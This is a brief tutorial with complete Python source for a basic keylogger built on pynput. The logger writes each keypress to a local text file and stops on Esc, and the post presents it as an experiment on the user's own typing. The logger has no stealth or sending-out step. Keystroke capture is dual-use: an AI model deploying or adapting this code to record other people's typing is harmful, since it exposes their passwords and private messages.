Keylogger

Steps:

1] Make a brand-new folder in VS code without any files already stored in it.

2] Then open terminal and type this:

‘pip install pynput’ to install pynput

3] Then make a new file and name it as ‘keylogger.py’

4] Then paste this code in this file and run it:

from pynput.keyboard import Listener, Key  # Import Key class

# Path to store the keylogs

log\_file = "key\_log.txt"

# Function to log the keys to a file

def on\_press(key):

    try:

        with open(log\_file, 'a') as f:

            # Write key pressed to the file

            f.write(str(key) + '\n')

    except Exception as e:

        print(f"Error: {e}")

# Function to stop keylogger when a specific key is pressed

def on\_release(key):

    if key == Key.esc:  # Stop keylogger on pressing Esc key

        return False

# Start listening to keyboard inputs

with Listener(on\_press=on\_press, on\_release=on\_release) as listener:

    listener.join()

5] Now once the code is running smoothly, open a new terminal and type this into it and execute it (press enter):

‘python keylogger.py’

6] Now your key logger is running and tracking every activity of yours.

7] To exit/terminate keylogger, press ‘esc’ key in your VS code terminal.

8] Now the keylogger is terminated and all the data it has tracked have been saved in a file named as ‘key log’ which is a text file

9] You can view this file in the same folder which you created for this experiment.

10] Make sure it works only in VS code and Terminal here is the VS code terminal.